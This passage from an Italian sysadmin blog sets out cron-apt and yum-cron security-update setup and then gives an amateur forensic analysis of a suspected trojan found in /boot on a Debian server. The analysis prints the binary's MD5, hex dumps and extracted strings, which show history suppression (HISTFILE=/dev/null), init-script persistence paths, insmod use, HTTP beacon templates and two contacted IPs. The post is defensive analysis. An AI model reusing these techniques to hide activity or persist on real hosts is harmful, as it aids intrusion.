Comoda e' la possibilita' di impostare una mail a cui inviare i messaggi
Per attivare yum-cron si digita

systemctl start yum-cron.service
per verifica lo stato del servizio
systemctl status yum-cron.service
---------------------------------------------------------------------------

Debian
Per Debian ho usato la guida di questo sito
in pratica si deve creare il file /etc/cron-apt/action.d/5-security ed aggiungere

upgrade -y -o APT::Get::Show-Upgraded=true

creare il file /etc/cron-apt/config.d/5-security  ed aggiungere
OPTIONS="-o quiet=1 --no-list-cleanup -o Dir::Etc::SourceList=/etc/apt/sources.list.d/security.list -o Dir::Etc::SourceParts=\"/dev/null\""

creare il file /etc/apt/sources.list.d/security.list ed aggiungere

deb http://security.debian.org/ wheezy/updates main deb-src 
http://security.debian.org/ wheezy/updates main


a questo punto il cron e' settato per le 4 di notte (si modifica da /etc/cron.d/)
si puo' comunque forzare mediante cron-apt

di seguito il risultato su /var/log/cron-apt/log
-----------------------------------------------------------------
root@debian:/etc/cron.d# tail /var/log/syslog
Sep  3 11:48:28 debian cron-apt: CRON-APT LINE: /usr/bin/apt-get -o quiet=1 --no-list-cleanup -o Dir::Etc::SourceList=/etc/apt/sources.list.d/security.list -o Dir::Etc::SourceParts="/dev/null" upgrade -d -y -o APT::Get::Show-Upgraded=true
Sep  3 11:48:28 debian cron-apt: Reading package lists...
Sep  3 11:48:28 debian cron-apt: Building dependency tree...
Sep  3 11:48:28 debian cron-apt: Reading state information...
Sep  3 11:48:28 debian cron-apt: The following packages will be upgraded:
Sep  3 11:48:28 debian cron-apt:   liblua5.1-0
Sep  3 11:48:28 debian cron-apt: 1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Sep  3 11:48:28 debian cron-apt: Need to get 0 B/185 kB of archives.
Sep  3 11:48:28 debian cron-apt: After this operation, 32.8 kB disk space will be freed.
Sep  3 11:48:28 debian cron-apt: Download complete and in download only mode

SSH domenica mattina

Svegliarsi una domenica mattina e trovare la porta 22 tempestata di 7205 richieste di accesso non ha prezzo




martedì 2 settembre 2014

Trojan (cinese?) su server Debian

Su un server Debian ho trovato un file denominato zcrunqppuv all'interno della directory /boot con un corrispettivo script di lancio in /etc/init.d/
Sulla macchina (non aggiornata) erano attivi lighthttpd, ssh, vnc e teamviewer

Il file ha una dimensione di 621980 bytes ed una firma MD5 33e562001c623b69ac433f4951106a51

Visto il nome e visto che non ricordo di aver mai visto una Debian con un nome di questo tipo dentro /boot ho provato ad indagare. Con il comando file si ha che

zcrunqppuv: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

ho provato a decompilarlo con RecStudio ma il programma non terminava mai l'elaborazione. Mediante objdump e strings ho recuperato l'inizio del programma

------------------------------------------ 
 8048110 31ed5e89 e183e4f0 50545268 90490508  1.^.....PTRh.I..
 8048120 68d04905 08515668 d0c90408 e8efc000  h.I..QVh........
 8048130 00f49090 5589e553 83ec04e8 00000000  ....U..S........
 8048140 5b81c320 4f08008b 93fcffff ff85d274  [.. O..........t
 8048150 05e8aa7e fbf7585b c9c39090 90909090  ...~..X[........
 8048160 5589e553 83ec0480 3dc4db0c 08007554  U..S....=.....uT
 8048170 b824d00c 082d1cd0 0c08c1f8 028d58ff  .$...-........X.
 8048180 a1c0db0c 0839c376 1f8db426 00000000  .....9.v...&....
 8048190 83c001a3 c0db0c08 ff14851c d00c08a1  ................
 80481a0 c0db0c08 39c377e8 b870f80a 0885c074  ....9.w..p.....t
 80481b0 0cc70424 7c6b0c08 e8b37606 00c605c4  ...$|k....v.....
 80481c0 db0c0801 83c4045b 5dc38db6 00000000  .......[].......
 80481d0 55b8d0fa 0a0889e5 83ec18e8 00000000  U...............
 80481e0 5a81c280 4e080085 c0742089 54240cc7  Z...N....t .T$..
 80481f0 44240800 000000c7 442404c8 db0c08c7  D$......D$......
 8048200 04247c6b 0c08e8c5 780600a1 28d00c08  .$|k....x...(...
 8048210 85c07412 b8000000 0085c074 09c70424  ..t........t...$
 8048220 28d00c08 ffd0c9c3 5589e583 ec188b45  (.......U......E
 8048230 10894424 088b450c 89442404 8b450889  ..D$..E..D$..E..
 8048240 0424e879 d901008b 45108944 24048b45  .$.y....E..D$..E
 8048250 08890424 e8271100 00b80000 0000c9c3  ...$.'..........
 8048260 5589e583 ec288b45 0c83e801 89442408  U....(.E.....D$.
 8048270 8b450889 442404c7 0424911c 0b08e8cd  .E..D$...$......
------------------------------------------

Tra le stringhe si osservano i seguenti indirizzi IP
1.1.2.1 (Cina)
103.25.9.228 (Cina)
8.8.8.8 (il DNS di Google)

Un altro aspetto interessante e' la seguente sequenza
------------------------------------------
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive
http://
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
------------------------------------------
zh-cn indica il codice del cinese semplificato cinese semplificato 


inoltre c'e' la seguente sequenza
------------------------------------------
Genu
Auth
cAMD
enti
ntel
ineI
------------------------------------------
che riordinata indica GenuineIntelAuthenticAMD

inoltre la sequenza
------------------------------------------
/usr
/lib
/gcof
------------------------------------------
e' stata ritrovata a questo link su un programma per l'indentificazione di malware

------------------------------------------
 80b1c00 03000000 01000200 00000000 484f4d45  ............HOME
 80b1c10 3d2f0048 49535446 494c453d 2f646576  =/.HISTFILE=/dev
 80b1c20 2f6e756c 6c004d59 53514c5f 48495354  /null.MYSQL_HIST
 80b1c30 46494c45 3d2f6465 762f6e75 6c6c0000  FILE=/dev/null..
 80b1c40 50415448 3d2f6269 6e3a2f73 62696e3a  PATH=/bin:/sbin:
 80b1c50 2f757372 2f62696e 3a2f7573 722f7362  /usr/bin:/usr/sb
 80b1c60 696e3a2f 7573722f 6c6f6361 6c2f6269  in:/usr/local/bi
 80b1c70 6e3a2f75 73722f6c 6f63616c 2f736269  n:/usr/local/sbi
 80b1c80 6e3a2f75 73722f58 31315236 2f62696e  n:/usr/X11R6/bin
 80b1c90 002f7072 6f632f73 656c662f 65786500  ./proc/self/exe.
 80b1ca0 2f70726f 632f2564 2f657865 0023212f  /proc/%d/exe.#!/
 80b1cb0 62696e2f 73680a25 730a002f 6574632f  bin/sh.%s../etc/
 80b1cc0 696e6974 2e642f25 73007700 2f657463  init.d/%s.w./etc
 80b1cd0 2f726325 642e642f 53393025 73006d20  /rc%d.d/S90%s.m 
 80b1ce0 5d29351c 36002573 2573002f 7362696e  ])5.6.%s%s./sbin
 80b1cf0 2f696e73 6d6f6400 7f454c46 00000000  /insmod..ELF....
------------------------------------------
Le prime linee mandano verso /dev/null in modo da non registrare nulla sulla history di bash (in pratica si nasconde cio' che viene digitato sulla shell

------------------------------------------
HOME=/
HISTFILE=/dev/null
MYSQL_HISTFILE=/dev/null
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
/proc/self/exe
/proc/%d/exe
#!/bin/sh
/etc/init.d/%s
/etc/rc%d.d/S90%s
m ])5
%s%s
/sbin/insmod
/proc/net/dev
/proc/rs_dev
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive
http://
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
GET %s HTTP/1.1
%sHost: %s
/proc/net/tcp
socket:[
/proc
/proc/%d/exe
/proc/%d/fd
/proc/%s/fd/%s
info=
%u:%s|
%s_%d:%s|
%s/%s
md5=
denyip=
filename=
rmfile=
------------------------------------------

il codice risulta essere stato compilato su 
GCC: (GNU) 4.1.2 20080704 (Red Hat 4.1.2-46)
il che e' strano dato che la macchina e' una Debian

In conclusione non ho trovato niente su Google ma ho qualcosa di piu' di un sospetto che si tratti di un malware di origine cinese

FTP Bash script

 Uno script rubato su stack overflow per fare l'upload automatico su FTP senza criptazione   #!/bin/sh HOST='ftp.xxxxx.altervista.or...